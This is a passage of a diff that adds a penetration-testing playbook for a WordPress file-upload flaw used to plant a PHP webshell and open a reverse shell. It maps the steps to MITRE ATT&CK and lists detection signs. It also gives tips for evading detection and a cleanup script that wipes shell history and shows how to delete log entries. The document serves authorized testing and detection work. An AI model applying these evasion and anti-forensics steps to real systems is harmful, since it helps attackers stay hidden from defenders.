+ 4. Access `shell.php?cmd=id` to confirm RCE
347
+ 5. Escalate to reverse shell
348
+
349
+ **Patch:** Version 4.2.7 added authentication checks and extension whitelisting.
350
+
351
+ **References:**
352
+ - NVD: https://nvd.nist.gov/vuln/detail/CVE-2024-3673
353
+ - WPScan: https://wpscan.com/vulnerability/CVE-2024-3673
354
+
355
+ ---
356
+
357
+ ## MITRE ATT&CK Mapping
358
+
359
+ | Step | Tactic | Technique | Sub-technique | Description |
360
+ |------|--------|-----------|---------------|-------------|
361
+ | 1 — Discover endpoint | Reconnaissance | T1595 | T1595.003 — Wordlist Scanning | Brute-force directories to locate upload feature |
362
+ | 2 — Craft payload | Resource Development | T1587 | T1587.001 — Malware: Webshell | Author PHP webshell for deployment |
363
+ | 3 — Bypass validation | Defense Evasion | T1036 | T1036.008 — Masquerading: Invalid Signature | Rename/double-extend file to evade extension checks |
364
+ | 4 — Upload webshell | Initial Access | T1190 | — Exploit Public-Facing Application | Upload PHP file through vulnerable endpoint |
365
+ | 5 — Execute via webshell | Execution | T1059 | T1059.004 — Unix Shell | Send OS commands through HTTP to webshell |
366
+ | 6 — Reverse shell | Execution | T1059 | T1059.001 — PowerShell / Unix Shell | Spawn interactive reverse shell over TCP |
367
+ | 6 — Persistence (optional) | Persistence | T1505 | T1505.003 — Web Shell | Webshell itself serves as persistent access mechanism |
368
+ | 6 — C2 channel | Command and Control | T1571 | T1571.001 — Non-Standard Port | Reverse shell over attacker-chosen port (e.g., 4444) |
369
+
370
+ ---
371
+
372
+ ## Detection and OPSEC
373
+
374
+ ### How This Attack Is Detected
375
+
376
+ **Signature-based:**
377
+ - WAF/IDS rules matching `<?php`, `shell_exec`, `system(`, `passthru(` in uploaded content
378
+ - File extension mismatch alerts (`.php` uploaded to image endpoint)
379
+ - YARA rules on web-accessible directories scanning for webshell patterns
380
+
381
+ **Behavioral:**
382
+ - Web server spawning child processes (`sh`, `bash`, `nc`) — anomalous parent/child relationship
383
+ - Outbound TCP connection from web server process (www-data → attacker IP)
384
+ - Unusual file creation in `/var/www` or WordPress `uploads/` directory
385
+ - High-entropy or short PHP files in upload directories
386
+
387
+ **Log-based:**
388
+ - Apache/Nginx access logs: POST to upload endpoint followed by GET requests to newly created `.php` file
389
+ - Auth logs: new processes running as `www-data`
390
+ - Network logs: new outbound connections on non-standard ports from web server
391
+
392
+ ### Reducing Detection Risk During Authorized Engagement
393
+
394
+ - Use HTTPS to encrypt upload and webshell traffic (avoids content inspection)
395
+ - Compress or encode the webshell payload (base64 decode on server side)
396
+ - Use port 443 or 80 for the reverse shell listener to blend with expected egress
397
+ - Avoid running noisy commands (`nmap`, `find /`, mass file reads) through the webshell
398
+ - Limit webshell access to one request per objective — do not poll repeatedly
399
+ - Remove the webshell immediately after establishing the reverse shell
400
+ - Use a memory-resident payload after initial access instead of leaving files on disk
401
+
402
+ ### Artifacts Left Behind (for Cleanup Reference)
403
+
404
+ | Artifact | Location | Type |
405
+ |----------|----------|------|
406
+ | PHP webshell file | `/var/www/html/...uploads.../shell.php` | File |
407
+ | FIFO pipe | `/tmp/f` | File |
408
+ | Apache/Nginx access log entries | `/var/log/apache2/access.log` or `/var/log/nginx/access.log` | Log |
409
+ | Auth/syslog entries | `/var/log/auth.log`, `/var/log/syslog` | Log |
410
+ | Shell history | `~/.bash_history` (www-data home) | File |
411
+ | `/tmp` artifacts | `/tmp/shell*`, `/tmp/f` | Files |
412
+
413
+ ---
414
+
415
+ ## Cleanup
416
+
417
+ Execute these steps through the established reverse shell or webshell before terminating the session.
418
+
419
+ ```bash
420
+ # 1. Remove the webshell (substitute actual path)
421
+ WEBSHELL_PATH="/var/www/html/wp-content/uploads/$(date +%Y/%m)/shell.php"
422
+ rm -f "$WEBSHELL_PATH"
423
+
424
+ # 2. Remove FIFO and tmp artifacts
425
+ rm -f /tmp/f /tmp/shell* /tmp/f2
426
+
427
+ # 3. Clear bash history for www-data
428
+ cat /dev/null > ~/.bash_history
429
+ history -c
430
+
431
+ # 4. Verify removal
432
+ ls -la "$WEBSHELL_PATH" 2>&1 # Should return: No such file or directory
433
+ ls /tmp/ # Should show no shell artifacts
434
+
435
+ # 5. Note: Log entries CANNOT be fully removed without root access.
436
+ # With root, truncate logs carefully:
437
+ # sudo sed -i '/shell\.php/d' /var/log/apache2/access.log
438
+ # (Only perform log manipulation if explicitly authorized in the engagement scope.)
439
+ ```
440
+
441
+ Note for authorized engagements: Confirm with the client's rules of engagement whether log artifact removal is in scope. Many engagements require artifacts to be preserved for the client's incident response team to validate detection capabilities.
442
+
443
+ ---
444
+
445
+ ## References
446
+
447
+ ### Tools
448
+
449
+ | Tool | Purpose | URL |
450
+ |------|---------|-----|
451
+ | ffuf | Fast web fuzzer for endpoint discovery | https://github.com/ffuf/ffuf |
452
+ | gobuster | Directory/file brute-forcer | https://github.com/OJ/gobuster |
453
+ | Burp Suite | HTTP proxy for intercepting and modifying requests | https://portswigger.net/burp |
454
+ | ncat | Flexible netcat with SSL support | https://nmap.org/ncat/ |
455
+ | wfuzz | Web application fuzzer | https://github.com/xmendez/wfuzz |
456
+ | weevely | PHP webshell manager with encrypted channel | https://github.com/epinna/weevely3 |
457
+ | p0wny-shell | Feature-rich PHP webshell | https://github.com/flozz/p0wny-shell |
458
+
459
+ ### Wordlists
460
+
461
+ | List | Path (Kali/Parrot) |
462
+ |------|-------------------|
463
+ | Common directories | `/usr/share/wordlists/dirb/common.txt` |
464
+ | SecLists web content | `/usr/share/seclists/Discovery/Web-Content/` |
465
+ | PHP extensions | `/usr/share/seclists/Fuzzing/extensions-most-common.fuzz.txt` |
466
+
467
+ ### CVE and Vulnerability References
468
+
469
+ - CVE-2024-3673 (Popup Builder): https://nvd.nist.gov/vuln/detail/CVE-2024-3673
470
+ - CVE-2020-28949 (Archive_Tar file upload): https://nvd.nist.gov/vuln/detail/CVE-2020-28949
471
+ - OWASP Unrestricted File Upload: https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload
472
+ - HackTricks File Upload: https://book.hacktricks.xyz/pentesting-web/file-upload
473
+
474
+ ### MITRE ATT&CK
475
+
476
+ - T1190 Exploit Public-Facing Application: https://attack.mitre.org/techniques/T1190/
477
+ - T1059.004 Unix Shell: https://attack.mitre.org/techniques/T1059/004/
478
+ - T1059.001 PowerShell: https://attack.mitre.org/techniques/T1059/001/
479
+ - T1505.003 Web Shell: https://attack.mitre.org/techniques/T1505/003/